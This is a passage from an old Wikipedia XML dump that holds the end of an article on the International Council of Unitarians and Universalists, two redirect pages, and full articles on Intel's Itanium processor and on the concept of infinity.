The [[Unitarian Universalist Association]] (UUA) became particularly interested in the establishment of a council when it had to deal with an increasing number of applications for membership from congregations outside [[North America]]. It had already granted membership to congregations in [[Adelaide]], [[Auckland, New Zealand|Auckland]], the [[Philippines]] and [[Pakistan]], and congregations in [[Sydney]], [[Russia]] and [[Spain]] had applied for membership. Rather than admit congregations from all over the world, the UUA hoped that they would join a world council instead. The UUA thus became willing to provide funding for the council's establishment.

As a result, the council was finally established at a meeting in [[Essex, Massachusetts]] on [[March 23|March 23-26]], [[1995]]. Rev. David Usher became the ICUU's first President.

The size of the member organizations varies widely. Some member groups have only a few hundred members; while the largest, the Unitarian Universalist Association, has over 200,000 members and is larger than all the other member groups put together. 

== Members ==
===Full Members===
*[[Australia and New Zealand Unitarian Association]] (ANZUA)
*[[Canadian Unitarian Council]]
*[[Deutsche Unitarier Religionsgemeinschaft]], Germany
*[[European Unitarian Universalists]]
*[[First Unitarian Church of Nigeria]]
*[[General Assembly of Unitarian and Free Christian Churches]], United Kingdom &amp; Ireland
*[[Ijo Isokan Gbogbo Eda]] (Unitarian Brotherhood Church), Nigeria
*[[Khasi Unitarian Union]], India
*[[Kosciol Unitarianski]] (Unitarian Church in Poland)
*[[Nabozenska spolecnost ceskych unitaru]] (Religious Society of Czech Unitarians)
*[[The Unitarian Christian Church of Madras]], India
*[[The Unitarian Church in Hungary]]
*[[The Unitarian Church of Romania]] (Transylvania)
*[[Unitarian Church of South Africa]]
*[[Unitarian Universalist Association]], USA
*[[Unitarian Universalist Association of Sri Lanka]]
*[[Unitarian Universalist Church of the Philippines]]
*[[Unitarian Universalists of Russia]]
*[[Unitarian Universalist Society of Finland]]
*[[Unitarians and Universalists, Pakistan]]
*[[Unitarisk Kirkesamfund]], Denmark



===Emerging Groups===
*Argentina
*Brazil
*Bolivia
*Latvia
*Puerto Rico

===Other Associates===
*[[Doojin Christian Church]] (Japan)
*[[Church of Iceland]]
*[[Indonesia Global Church of God]]
*Italy
*Kenya
*[[L'Assemblees Fraternelles des Chretiens Unitariens de France]]
*[[L'Association Unitarienne Francophone et Eglise Unitarienne de France]]
*[[Unitarkirken]] (The Unitarian Christian Church in Norway)

== Principles and Purposes ==
PREAMBLE TO THE CONSTITUTION OF THE INTERNATIONAL COUNCIL OF UNITARIANS AND UNIVERSALISTS

We, the member groups of the International Council of Unitarians and Universalists, affirming our belief in religious community based on:

* liberty of conscience and individual thought in matters of faith,
* the inherent worth and dignity of every person.
* justice and compassion in human relations,
* responsible stewardship in human relations,
* and our commitment to democratic principles,

declare our purposes to be:

* to serve the Infinite Spirit of Life and the human community by strengthening the worldwide Unitarian and Universalist faith,
* to affirm the variety and richness of our living traditions,
* to facilitate mutual support among member organizations,
* to promote our ideals and principles around the world,
* to provide models of liberal religious response to the human condition which upholds our common values.

==External links==
* [http://icuu.net/ International Council of Unitarians and Universalists]

[[Category:Religious organizations]]
[[Category:Unitarian Universalism]]</text>
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  </page>
  <page>
    <title>Intersexuals</title>
    <id>15452</id>
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      <timestamp>2005-07-27T23:18:34Z</timestamp>
      <contributor>
        <username>2004-12-29T22:45Z</username>
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      <text xml:space="preserve">#REDIRECT [[Intersexuality]]</text>
    </revision>
  </page>
  <page>
    <title>Intersexualism</title>
    <id>15453</id>
    <revision>
      <id>19747647</id>
      <timestamp>2005-07-27T23:19:23Z</timestamp>
      <contributor>
        <username>2004-12-29T22:45Z</username>
        <id>159726</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Intersexuality]]</text>
    </revision>
  </page>
  <page>
    <title>Itanium</title>
    <id>15454</id>
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      <id>41363909</id>
      <timestamp>2006-02-26T21:44:58Z</timestamp>
      <contributor>
        <username>CesarB</username>
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      <minor />
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      <text xml:space="preserve">[[Image:Itanium.jpg|right|thumb|160px|Itanium brand logo]]

In [[computing]], the '''Itanium''' is an [[IA-64]] [[microprocessor]] developed jointly by [[Hewlett-Packard]] and [[Intel]].

==Merced==

[[Image:Itanium.png|thumb|The Intel Itanium processor.]]
HP and Intel first collaborated on chip for servers and workstations in 1989. HP needed a next generation replacement for its successful [[PA-RISC]] line of servers and workstations, and wanted to tap Intel's volume and expertise in chip design and manufacturing.

It would use [[Explicitly Parallel Instruction Computing]] where the compiler would line up  instructions for parallel execution. Features were added to ensure compatibility with ''both'' Intel [[X86|x86]] and HP applications. It was expected to dominate servers, workstations, and perhaps even desktops, bumping the ubiquitous x86 architecture. Importantly, it was not expected [[AMD]] would be able to clone it.

==Software support==

[[Image:Itanium_arch.png|thumb|The Intel Itanium architecture.]]
Microsoft has ported [[Windows XP]], [[Windows 2000]], and [[Windows Server 2003]] to Itanium. 
Microsoft server applications include [[Microsoft SQL Server|SQL Server]], Operations Manager, CRM Server, [[Internet Information Services|IIS]], [[Microsoft Visual Studio|Visual Studio]], and the [[.NET Framework]]. The decision was made in recent years to not include support for client applications or client operating systems (such as Windows XP) for the Itanium, because the market demand is too small to justify the porting and support costs.

Microsoft has announced support for Itanium on its upcoming [[Windows Server &quot;Longhorn&quot;|Longhorn Server]] operating system. It is being positioned as the top end processor for the most demanding workloads such as [[database]] servers, [[operations management]], and [[customer relationship management]].

In June 2003 [[OpenVMS]] was added to the line up of operating systems able to run on these processors.

The HP [[Tandem Computers|NonStop]] operating system also runs on Itanium. NonStop is used in many of the world's trading and financial markets.

The [[Linux kernel]] and multiple [[Linux distributions|GNU/Linux distributions]] run on Itanium, such as [[Red Hat Enterprise Linux]], [[SUSE Linux Enterprise Server]], [[Debian]], and the version [[Silicon Graphics|SGI]] offers on their [[Altix]] machines. In Jan 2002, [http://www.gelato.org Gelato.org], a community for the propagation of Linux on Itanium was created.

[[FreeBSD]] also runs on Itanium systems.

[[Sun Microsystems|Sun]] was developing a port of [[Solaris Operating Environment|Solaris]] to the Itanium processor, but that port was never released.

==Market trends==

The following companies announced a new &quot;Itanium Alliance&quot; in September 2005 to promote hardware and software development for the chip:
Hewlett-Packard, Hitachi, Fujitsu, NEC, Unisys, Bull, Silicon Graphics, Microsoft, Oracle, Red Hat, Novell, BEA Systems, SAP, SAS, and Intel. 
[http://news.com.com/Itanium+alliance+backed+by+major+tech+companies/2100-1006_3-5882978.html]

[[Dell]] and [[IBM]] have dropped the chip from their product lines.[http://www.eweek.com/article2/0,1895,1859669,00.asp][http://news.com.com/IBM+server+design+drops+Itanium+support/2100-1006_3-5589603.html]  

Total revenue tripled for the Itanium from 2003-2004 and reached $1.4 billion in 2004.[http://www.theregister.co.uk/2005/02/28/itanium_04_sales/]

[[Intel]] has delayed the dual-core Montecito version of Itanium for 3 months.[http://www.infoworld.com/article/05/10/24/HNintelalters_1.html?PROCESSORS]

Customer spending on Itanium servers hit $2.4 billion in 2005.[http://news.com.com/Analyst+firm+offers+rosy+view+of+Itanium/2100-1006_3-6038932.html]

==Technical criticism==

The first version, code named '''Merced''', shipped in June [[2001]].  Manufactured in a 180 [[nanometre|nm]] process, it was offered at speeds of 733 and 800 [[megahertz|MHz]], with a choice of 2 [[megabyte|MB]] or 4 MB off-die L3 [[CPU cache|cache]].  Prices ranged from US$1200 to over US$4000.  

However, performance was disappointing. In IA-64 mode, it performed only slightly better than an equivalently clocked x86 design, and when running legacy x86 code, performance was extremely poor, about 1/8th that of a similarly clocked x86 processor. Software emulation would have been faster.

The main (though by no means only) structural design flaw with the Itanium was the high latency of its level three cache. Intel's engineers had evidently been hoping that the amount of bandwidth available would offset this, but the latency was so high that it actually slowed the cache, to the point where it was not significantly faster than the main memory interface. With the faster first and second-level caches set relatively small (32KB and 96KB respectively), this further increased the load on the main system bus. 

Compounding the performance impact of the lack of available cache bandwidth was the fact IA-64 code has a larger footprint than x86 code. So the amount of instructions that could be contained in the cache was in fact even smaller than the sizes alone would suggest, all of which might have been mitigated had Itanium been designed around a fast processor bus. However, at a mere 266MHz it was only equal to consumer [[Athlon]]s of the period, and a full 33% slower than first generation [[Pentium 4]]s. Again, this was worse than it would appear, due to the fact that Itaniums were designed to be used in systems with several processors. Itanium clock speeds were also disappointing, relative to the [[gigahertz|GHz]] speeds being delivered by the Athlon architecture of the period. 

Overall, it is generally believed that the technical specifications indicate an original [[1998]]&amp;ndash;[[1999|99]] target launch date. But the repeated and lengthy project delays, effectively meant the processor was out of date before it had even begun shipping. Hence, the Itanium was not a competitive product when launched, although it would have been two years earlier.

It was succeeded by the [[Itanium 2]].

==Itanic nickname==

'''Itanic''' is a derisive nickname promulgated by the often-satiric technology publication [[The Register]]. It is a reference to the [[RMS Titanic|''Titanic'']], a famous [[ocean liner]] which sank in [[1912]]. The IA-64 architecture is considered by some to be a [[white elephant]], which cost Intel and partner [[Hewlett-Packard]] many billions of dollars while failing to achieve expected sales in the originally projected timeframe.

==Competition==

Sales of IA-64 processors have most recently been hampered by competition from [[Advanced Micro Devices|AMD]]'s [[AMD64]] architecture on the low end, leading to Intel releasing the largely compatible [[EM64T]] architecture. [[International Business Machines|IBM]]'s [[IBM POWER|POWER]] architecture competes to a lesser extent at the high end. Some early IA-64 vendors, such as [[Dell Computer|Dell]] and IBM have dropped or drastically scaled back support for the architecture, Dell choosing AMD64-compatible processors in line with their high-volume business model, while IBM continues to develop servers built on its own POWER architecture.

Microsoft has decided not to make further releases of its consumer operating systems for Itanium, concentrating only on x86-64 (AMD64, EM64T).

== See also ==
* [[IA-64| IA-64 Architecture]]
* [[Itanium 2]]

==External links==
* [http://news.zdnet.com/2100-9584_22-5984747.html Itanium: A Cautionary Tale] Intel takes over the world - with the lowly x86
* [http://www.cpu-collection.de/?l0=i&amp;i=2179&amp;n=1&amp;sd=1 Intel Itanium opened cartridge processor images at cpu-collection.de]
* [http://news.com.com/Analyst+firm+offers+rosy+view+of+Itanium/2100-1006_3-6038932.html Analyst firm offers rosy view of Itanium]

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  <page>
    <title>Infinity</title>
    <id>15455</id>
    <revision>
      <id>41298066</id>
      <timestamp>2006-02-26T10:32:58Z</timestamp>
      <contributor>
        <username>Woodstone</username>
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      <comment>/* Mathematical infinity */ tighten</comment>
      <text xml:space="preserve">{{Otheruses}}

'''Infinity''' refers to several distinct concepts which arise in [[theology]], [[philosophy]], [[mathematics]] and everyday life. Popular or colloquial usage of the term often does not accord with its more technical meanings. The word '''infinity''' comes from the [[Latin]] ''infinitas'', &quot;unboundedness&quot;.

In [[theology]], for example in the work of [[List of Christian theologians|theologians]] such as [[Duns Scotus]], the infinite nature of [[God]] invokes a sense of being without constraint, rather than a sense of being unlimited in quantity. In [[philosophy]], infinity can be attributed to space and time, as for instance in [[Immanuel Kant|Kant]]'s first [[antinomy]]. In both theology and philosophy, infinity is explored in articles such as [[the Ultimate]], [[the Absolute]], God, and [[Zeno's paradoxes]].

In mathematics, infinity is relevant to, or the subject matter of, articles such as mathematical [[limit (mathematics)|limit]]s, [[aleph number]]s, [[class (set theory)|class]]es in [[set theory]], [[Dedekind-infinite set]]s, [[large cardinal]]s, [[Russell's paradox]], [[hyperreal number]]s, [[projective geometry]], [[extended real number]]s and the [[absolute Infinite]].  By some, infinity is considered to be not a number but a concept of increase beyond bounds. 

In [[popular culture]], we have [[Buzz Lightyear]]'s rallying cry, &quot;To infinity &amp;mdash; and beyond!&quot;, which may also be viewed as the rallying cry of [[set theory|set theorists]] considering [[large cardinal]]s.{{rf|1|large_cardinals}}

For a discussion about infinity and the physical universe, see [[Universe]].

== History ==
=== Ancient view of infinity ===
The earliest known documented knowledge of ''infinity'' is presented in the [[Veda]]- ''[[Yajur Veda]]'' which states that &quot;if you remove a part from infinity or add a part to infinity, still what remains is infinity&quot;. The [[Ancient India|India]]n [[Jain]]a mathematical text ''Surya Prajinapti'' (ca. [[400 BC]]) classifies all numbers into three sets: ''enumerable'', ''innumerable'' and ''infinite''. It recognises five different types of infinity: infinite in one and two directions, infinite in area, infinite everywhere, and infinite perpetually. [http://www-groups.dcs.st-and.ac.uk/~history/HistTopics/Jaina_mathematics.html] [http://www.infinityfoundation.com/mandala/t_es/t_es_agraw_jaina.htm] The concept of different orders of infinity would remain unknown in [[Europe]] until the late [[19th century]].

In Europe, the traditional view derives from [[Aristotle]]: 

:&quot;... it is always possible to think of a larger number: for the number of times a [[magnitude]] can be [[bisection|bisected]] is infinite.  Hence the infinite is potential, never actual; the number of parts that can be taken always surpasses any assigned number.&quot; [Physics 207b8]

This is often called potential infinity; however there are two ideas mixed up with this. One is that it is always possible to find a number of things that surpasses any given number, even if there are not actually such things. The other is that we may quantify over infinite sets without restriction. For example, ∀n∈'''Z'''(∃m∈'''Z'''[m&gt;n∧P(m)]), which reads, &quot;for any [[integer]] n, there exists an integer m &gt; n such that P(m)&quot;. The second view is found in a clearer form by medieval writers such as [[William of Ockham]]:

:&quot;Sed omne continuum est actualiter existens. Igitur quaelibet pars sua est vere existens in rerum natura. Sed partes continui sunt infinitae quia non tot quin plures, igitur partes infinitae sunt actualiter existentes.&quot; (But every [[continuum (mathematics)|continuum]] is actually existent. Therefore any of its parts is really existent in nature. But the parts of the continuum are infinite because there are not so many that there are not more, and therefore the infinite parts are actually existent.)

The parts are actually there, in some sense. However, on this view, no infinite magnitude can have a number, for whatever number we can imagine, there is always a larger one: &quot;There are not so many (in number) that there are no more&quot;. [[Thomas Aquinas|Aquinas]] also argued against the idea that infinity could be in any sense complete, or a totality.

=== Views from the Renaissance to modern times ===
[[Galileo Galilei|Galileo]] (during his long house arrest in [[Siena]] after his condemnation by the [[Inquisition]]) was the first to notice that we can place an infinite set into [[one-to-one correspondence]] with one of its [[proper subset]]s (any part of the set, that is not the whole).  For example, we can match up the &quot;set&quot; of even numbers {2, 4, 6, 8 ...} with the natural numbers {1, 2, 3, 4 ...} as follows:

:1, 2, 3, 4, ...
:2, 4, 6, 8, ...

It appeared, by this reasoning, as though a set which is naturally smaller than the set of which it is a part (since it does not contain all the members of that set) is in some sense the same size.  He thought this was one of the difficulties which arise when we try, &quot;with our finite minds&quot;, to comprehend the infinite.  

:&quot;So far as I see we can only infer that the totality of all numbers is infinite, that the number of squares is infinite, and that the number of their roots is infinite; neither is the number of squares less than the totality of all numbers, nor the latter greater than the former; and finally the attributes &quot;equal&quot;, &quot;greater&quot;, and &quot;less&quot;, are not applicable to infinite, but only to finite, quantities.&quot; [''On two New Sciences'', 1638]

The idea that size can be measured by one-to-one correspondence is today known as [[Hume's principle]], although Hume, like Galileo, believed the principle could not be applied to infinite sets.

[[John Locke|Locke]], in common with most of the [[empiricist]] philosophers, also believed that we can have no proper idea of the infinite.  They believed all our ideas were derived from [[sense data]] or &quot;impressions&quot;, and since all sensory impressions are inherently finite, so too are our thoughts and ideas.  Our idea of infinity is merely negative or privative.

:&quot;Whatever ''positive'' ideas we have in our minds of any space, duration, or number, let them be never so great, they are still finite; but when we suppose an inexhaustible remainder, from which we remove all bounds, and wherein we allow the mind an endless progression of thought, without ever completing the idea, there we have our idea of infinity ... yet when we would frame in our minds the idea of an infinite space or duration, that idea is very obscure and confused, because it is made up of two parts very different, if not inconsistent.  For let a man frame in his mind an idea of any space or number, as great as he will, it is plain the mind rests and terminates in that idea; which is contrary to the idea of infinity, which consists in a supposed endless progression.&quot;   (Essay,  II. xvii. 7., author's emphasis)

Famously, the ultra-empiricist [[Thomas Hobbes|Hobbes]] tried to defend the idea of a potential infinity in the light of the discovery, by [[Evangelista Torricelli]], of a figure ([[Gabriel's horn]]) whose [[surface area]] is infinite, but whose [[volume]] is finite.  Not reported, this motivation of Hobbes came too late as [[curve]]s having infinite length yet bounding finite areas were known much before.  Such seeming paradoxes are resolved by taking any finite figure and stretching its content infinitely in one direction; the magnitude of its content is unchanged as its divisions drop off geometrically but the magnitude of its bounds increases to infinity by necessity.  Potentiality lies in the definitions of this operation, as [[well-defined]] and interconsistent mathematical axioms.  A potential infinity is allowed by letting an infinitely-large quantity be cancelled out by an infinitely-small quantity.

=== Modern philosophical views ===
Modern discussion of the infinite is now regarded as part of set theory and mathematics, and generally avoided by philosophers.  An exception was [[Ludwig Wittgenstein|Wittgenstein]], who made an impassioned attack upon [[axiomatic set theory]], and upon the idea of the actual infinite, during his &quot;middle period&quot;.{{rf|2|antinomies}}

:&quot;Does the relation m = 2n correlate the class of all numbers with one of its subclasses?  No.  It correlates any arbitrary number with another, and in that way we arrive at infinitely many pairs of classes, of which one is correlated with the other, but which are never related as class and subclass.  Neither is this infinite process itself in some sense or other such a pair of classes ... In the superstition that m = 2n correlates a class with its subclass, we merely have yet another case of ambiguous grammar.&quot;  (''Philosophical Remarks'' § 141, cf ''Philosophical Grammar'' p. 465)

Unlike the traditional empiricists, he thought that the infinite was in some way given to sense experience.

:&quot;... I can see in space the possibility of any finite experience ... we recognise [the] essential infinity of space in its smallest part.&quot;  &quot;[Time] is infinite in the same sense as the three-[[dimension]]al space of sight and movement is infinite, even if in fact I can only see as far as the walls of my room.&quot;

:&quot;... what is infinite about endlessness is only the endlessness itself.&quot;

=== Infinity symbol ===
The precise origins of the infinity symbol ∞ are unclear. One possibility is suggested by the name it is sometimes called &amp;mdash; the [[lemniscate]], from the Latin ''lemniscus'', meaning &quot;ribbon&quot;. One can imagine walking forever along a simple loop formed from a ribbon.

A popular explanation is that the infinity symbol is derived from the shape of a [[Möbius strip]]. Again, one can imagine walking along its surface forever.  However, this explanation is improbable, since the symbol had been in use to represent infinity for over two hundred years before [[August Ferdinand Möbius]] and [[Johann Benedict Listing]] discovered the Möbius strip in [[1858]].

[[John Wallis]] is usually credited with introducing ∞ as a symbol for infinity in [[1655]] in
his ''De sectionibus conicus''. One conjecture about why he chose this symbol is that he derived it from a [[Roman numeral]] for 1000 that was in turn derived from the [[Etruscan numerals|Etruscan numeral]] for 1000, which looked somewhat like &lt;font face=&quot;Arial Unicode MS, Lucida Sans Unicode&quot;&gt;CI&amp;#390;&lt;/font&gt; and was sometimes used to mean &quot;many&quot;. Another conjecture is that he derived it from the Greek letter &amp;#969; ([[omega]]), the last letter in the [[Greek alphabet]].

The infinity symbol is represented in [[Unicode]] by the character ∞ (&amp;amp;#8734;).

== Mathematical infinity ==
Infinity is the state of being greater than any finite (real) number however large.

=== Infinity in real analysis ===
In [[real analysis]], the symbol &lt;math&gt;\infty&lt;/math&gt;, called &quot;infinity&quot;, denotes an unbounded [[limit]]. &lt;math&gt;x \rightarrow \infty&lt;/math&gt; means that ''x'' grows beyond any assigned value, and &lt;math&gt;x \rightarrow -\infty&lt;/math&gt; means x is eventually less than any assigned value. Points labeled &lt;math&gt;\infty&lt;/math&gt; and &lt;math&gt;-\infty&lt;/math&gt; can be added to the real numbers as a [[topological space]], producing the '''two-point [[compactification (mathematics)|compactification]]''' of the real numbers. Adding algebraic properties to this gives us the [[extended real number]]s. We can also treat &lt;math&gt;\infty&lt;/math&gt; and &lt;math&gt;-\infty&lt;/math&gt; as the same, leading to the '''one-point compactification''' of the real numbers, which is the [[real projective line]]. [[Projective geometry]] also introduces a [[line at infinity]] in [[plane geometry]], and so forth for higher dimensions.

Infinity is often used not only to define a limit but as if it were a value in the extended real numbers in [[real analysis]]; if ''f''(''t'') &amp;ge; 0 then
*&lt;math&gt;\int_{0}^{1} \, f(t) dt \  = \infty&lt;/math&gt; means that ''f''(''t'') does not bound a finite area from 0 to 1
*&lt;math&gt;\int_{0}^{\infty} \, f(t) dt \  = \infty&lt;/math&gt; means that the area under ''f''(''t'') is infinite
*&lt;math&gt;\int_{0}^{\infty} \, f(t) dt \  = 1&lt;/math&gt; means that the area under ''f''(''t'') equals 1

=== Infinity in complex analysis ===
As in real analysis, in [[complex analysis]] the symbol &lt;math&gt;\infty&lt;/math&gt;, called &quot;infinity&quot;, denotes an unbounded [[limit]]. &lt;math&gt;x \rightarrow \infty&lt;/math&gt; means that the magnitude
&lt;math&gt;|x|&lt;/math&gt; of x grows beyond any assigned value. A point labeled &lt;math&gt;\infty&lt;/math&gt; can be added to the complex plane as a [[topological space]] giving the one-point compactification of the complex plane. When this is done, the resulting space is still a one-dimensional complex manifold and called the extended complex plane or the [[Riemann sphere]]. 
In this context is often useful to consider [[meromorphic function]]s as maps into the Riemann sphere taking the value of &lt;math&gt;\infty&lt;/math&gt; at the poles. The domain of a complex-valued function may be extended to include the point at infinity as well. One important example of such functions is the group of [[Möbius transformation]]s.

===Infinities as part of the extended real number line===
Infinity is '''not''' a real number but may be considered part of the [[extended real number line]], in which arithmetic operations involving infinity may be performed. In this system, infinity has the following arithmetic properties:

==== Infinity with itself ====
# &lt;math&gt;\infty + \infty = \infty \cdot \infty = (-\infty) \cdot (-\infty) = \infty&lt;/math&gt;
# &lt;math&gt;(-\infty) + (-\infty) = \infty \cdot (-\infty) = (-\infty) \cdot \infty = -\infty&lt;/math&gt;

==== Operations involving infinity and real numbers ====
# &lt;math&gt;-\infty &lt; x &lt; \infty&lt;/math&gt;
# &lt;math&gt; x + \infty = \infty&lt;/math&gt; and &lt;math&gt; x + (-\infty) = -\infty&lt;/math&gt;
# &lt;math&gt; x - \infty = -\infty&lt;/math&gt;
# &lt;math&gt; x - (-\infty) = \infty&lt;/math&gt;
# &lt;math&gt;{x \over \infty} = 0&lt;/math&gt; and &lt;math&gt;{x \over -\infty} = 0&lt;/math&gt;
# If &lt;math&gt;0&lt;x&lt;\infty&lt;/math&gt; then &lt;math&gt;x \cdot \infty = \infty&lt;/math&gt; and &lt;math&gt;x \cdot (-\infty) = (-\infty)&lt;/math&gt;.
# If &lt;math&gt;-\infty&lt;x&lt;0&lt;/math&gt; then &lt;math&gt;x \cdot \infty = -\infty&lt;/math&gt; and &lt;math&gt;x \cdot (-\infty) = \infty&lt;/math&gt;.

==== Undefined operations ====
# &lt;math&gt;0 \cdot \infty&lt;/math&gt; and &lt;math&gt;0 \cdot (-\infty)&lt;/math&gt;
# &lt;math&gt;\infty + (-\infty)&lt;/math&gt; and &lt;math&gt;(-\infty) + \infty&lt;/math&gt;
# &lt;math&gt;{\pm\infty \over \pm\infty}&lt;/math&gt;
# &lt;math&gt;{\pm\infty}^0&lt;/math&gt;
# &lt;math&gt;1^{\pm\infty}&lt;/math&gt;

Notice that &lt;math&gt;[{x \over \infty} = 0] \not\equiv [0 \cdot \infty = x]&lt;/math&gt;.  This is because zero times infinity is undefined.

=== Infinities in nonstandard analysis===
The original formulation of the calculus by Newton and Leibniz used infinitesimal quantities. In the twentieth century, it was shown that this treatment could be put on a rigorous footing through various logical systems, including [[smooth infinitesimal analysis]] and [[nonstandard analysis]]. In the latter, infinitesimals are invertible, and their inverses are infinite numbers. There is not just one size of infinity. For example if H is an infinite number, then H + H = 2H is a different infinite number.

=== Infinity in set theory ===
A different type of &quot;infinity&quot; are the [[ordinal]] and [[cardinal number|cardinal]] infinities of set theory. [[Georg Cantor]] developed a system of [[transfinite number]]s, in which the first transfinite cardinal is [[aleph number|aleph-null]] (&lt;math&gt;\aleph_0&lt;/math&gt;), the [[cardinality]] of the set of [[natural number]]s. This modern mathematical conception of the quantitative infinite developed in the late nineteenth century from work by Cantor, [[Gottlob Frege]], [[Richard Dedekind]] and others, using the idea of collections, or [[set|sets]].  Dedekind's approach was essentially to adopt the idea of [[one-to-one correspondence]] as a standard for comparing the size of sets, and to reject the view of Galileo (which derived from [[Euclid]]) that the whole cannot be the same size as the part.  An infinite set can simply be defined as one having the same size as at least one of its &quot;[[proper subset|proper]]&quot; parts; this notion of infinity is called [[Dedekind infinite]].

Cantor defined two kinds of infinite numbers, the [[ordinal number]]s and the [[aleph number|cardinal numbers]]. Ordinal numbers may be identified with [[well-ordered]] sets, or counting carried on to any stopping point, including points after an infinite number have already been counted. Generalizing finite and the ordinary infinite [[sequence]]s which are maps from the positive [[integers]] leads to [[Map (mathematics)|mappings]] from ordinal numbers, and transfinite sequences. Cardinal numbers define the size of sets, meaning how many members they contain, and can be standardized by choosing the first ordinal number of a certain size to represent the cardinal number of that size. The smallest ordinal infinity is that of the positive integers, and any set which has the cardinality of the integers is '''countably infinite'''. If a set is too large to be put in one to one correspondence with the positive integers, it is called '''uncountable'''. Cantor's views prevailed and modern mathematics accepts actual infinity. Certain extended [[number]] systems, such as the [[hyperreal number]]s, incorporate the ordinary (finite) numbers and infinite numbers of different sizes.

Our intuition gained from finite sets breaks down when dealing with infinite sets. One example of this is [[Hilbert's paradox of the Grand Hotel]].

=== Mathematics without infinity ===
[[Leopold Kronecker]] rejected the notion of infinity and began a school of thought, in the [[philosophy of mathematics]] called [[finitism]], which led to the philosophical and mathematical school of [[mathematical constructivism]].

== Use of infinity in common speech ==
In common parlance, infinity is often used in a [[hyperbole|hyperbolic]] sense. For example, &quot;The movie was infinitely boring, but we had to wait forever to get tickets.&quot; 

In [[Computer and video games|video games]],  '''infinite lives''' and '''infinite ammo''' refer to a never-ending supply of lives and [[ammunition]].  An [[infinite loop]] in [[computer programming]] is a conditional loop construction whose condition always evaluates to true. In theory, as long as there is no external interaction, the loop will continue to run for all time.  In practice however, some programming loops considered as infinite will halt by exceeding the (finite) number range of one of its variables. See [[halting problem]].  These terms describe things that are only potential infinities; it is impossible to play a video game for an infinite period of time or keep a computer running for an infinite period of time.

The number [[Infinity plus 1]] is also used sometimes in common speech.

== Physical infinity ==
In [[physics]], approximations of [[real number]]s are used for [[continuum|continuous]] measurements and [[natural number]]s are used for [[discrete]] measurements (i.e. counting). It is therefore assumed by physicists that no [[observable|measurable quantity]] could have an infinite value, for instance by taking an infinite value in an [[extended real number line|extended real number]] system (see also: [[hyperreal number]]), or by requiring the counting of an infinite number of events. It is for example presumed impossible for any body to have infinite mass or infinite energy. There exists the concept of infinite entities (such as an infinite [[plane wave]]) but there are no means to generate such things. Likewise, [[perpetual motion]] machines theoretically generate infinite energy by attaining 100% efficiency or greater, and emulate every conceivable [[open system]]; the impossible problem follows of knowing that the output is actually infinite when the source or mechanism exceeds any known and understood [[system]].

This point of view does not mean that infinity cannot be used in physics. For convenience sake, calculations, equations, theories and approximations often use [[infinite series]], unbounded [[function (mathematics)|function]]s, etc., and may involve infinite quantities.  Physicists however require that the end result be physically meaningful. In [[quantum field theory]] infinities arise which need to be interpreted in such a way as to lead to a physically meaningful result, a process called [[renormalization]].

===Infinity in cosmology ===
An intriguing question is whether actual infinity exists in our physical [[universe]]: Are there infinitely many stars? Does the universe have infinite volume? Does space &quot;go on forever&quot;? This is an important open question of [[cosmology]]. Note that the question of being infinite is logically separate from the question of having boundaries. The two-dimensional surface of the Earth, for example, is finite, yet has no edge.  By walking/sailing/driving straight long enough, you'll return to the exact spot you started from. The universe, at least in principle, might have a similar [[topology]]; if you fly your space ship straight ahead long enough, perhaps you would eventually revisit your starting point.

If the universe is indeed ever expanding as science suggests then you could never get back to your starting point even on an infinite time scale.

== Three types of infinities ==
Besides the mathematical infinity and the physical infinity, there could also be a philosophical infinity. There are scientists who hold that all three really exist and there are scientists who hold that none of the three exist. And in between there are the various possibilities.  [[Rudy Rucker]], in his book ''Infinity and the Mind -- the science and philosophy of the mind'' (1982), has worked out a model list of representatives of each of the eight possible standpoints. The footnote on p.335 of his book suggests the consideration of the following names: [[Abraham Robinson]], [[Plato]], [[Thomas Aquinas]], [[L.E.J. Brouwer]], [[David Hilbert]], [[Bertrand Russell]], [[Kurt Gödel]] and [[Georg Cantor]].

== Infinity in science fiction ==
[[The Hitchhiker's Guide to the Galaxy]] contains the following definition of infinity:

:&quot;Bigger than the biggest thing ever and then some, much bigger than that, in fact really amazingly immense, a totally stunning size, real 'Wow, that's big!' time. Infinity is just so big that by comparison, bigness itself looks really titchy. Gigantic multiplied by colossal multiplied by staggeringly huge is the sort of concept we are trying to get across here.&quot;

Another quote from [[The Hitchhiker's Guide to the Galaxy]] states:  &quot;Infinity itself looks flat and uninteresting.  Looking up into the night sky is looking into infinity -- distance is incomprehensible and therefore meaningless.&quot;

[[Rudy Rucker]]'s novel ''White Light'' describes a mathematician who leaves his body and travels to a kind of afterworld that includes a mountain whose Absolute Infinite height matches that of the class of all ordinals.  Georg Cantor makes an appearance as a character, and the hero finds a physical correlate for Cantor's Continuum Problem.

== See also ==
* [[Infinitesimal]]
* [[Axiom of infinity]]

== References ==
* {{cite book | author=Aczel, Amir D. | title=The Mystery of the Aleph: Mathematics, the Kabbalah, and the Search for Infinity | publisher=Simon &amp; Schuster Adult Publishing Group | year=2001 | id=ISBN 0743422996}}
* {{cite book | author=Wallace, David Foster | title=Everything and More: A Compact History of Infinity | publisher=Norton, W. W. &amp; Company, Inc. | year=2004 | id=ISBN 0393326292}}

== External links ==
* ''[http://www.earlham.edu/~peters/writing/infapp.htm A Crash Course in the Mathematics of Infinite Sets]'', by Peter Suber.  From the St. John's Review, XLIV, 2 (1998) 1-59. The stand-alone appendix to &lt;em&gt;Infinite Reflections&lt;/em&gt;, below.  A concise introduction to Cantor's mathematics of infinite sets.
* ''[http://www.earlham.edu/~peters/writing/infinity.htm Infinite Reflections]'', by Peter Suber.  How Cantor's mathematics of the infinite solves a handful of ancient philosophical problems of the infinite.  From the St. John's Review, XLIV, 2 (1998) 1-59. 
* [http://pespmc1.vub.ac.be/INFINITY.html ''Infinity'', Principia Cybernetica]
* [http://www.c3.lanl.gov/mega-math/workbk/infinity/infinity.html Hotel Infinity]
* [http://samvak.tripod.com/infinite.html The concepts of finiteness and infinity in philosophy]
* [http://uk.geocities.com/frege@btinternet.com/cantor/Phil-Infinity.htm  Source page on medieval and modern writing on Infinity]

== Notes ==
{{ent2|1|large_cardinals}} Large cardinals are quantitative infinities defining the number of things in a [[collection]], which are so large that they cannot be proven to exist in the ordinary mathematics of [[ZFC|Zermelo-Fraenkel plus Choice]] (ZFC).
{{ent2|2|antinomies}} See also {{Web reference | title=  Logic of antinomies  | url=http://www.emis.de/cgi-bin/zmen/ZMATH/en/quick.html?first=1&amp;maxdocs=3&amp;type=html&amp;an=0724.03003&amp;format=complete  | date=November 14  | year=2005 }}

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[[he:אינסוף]]
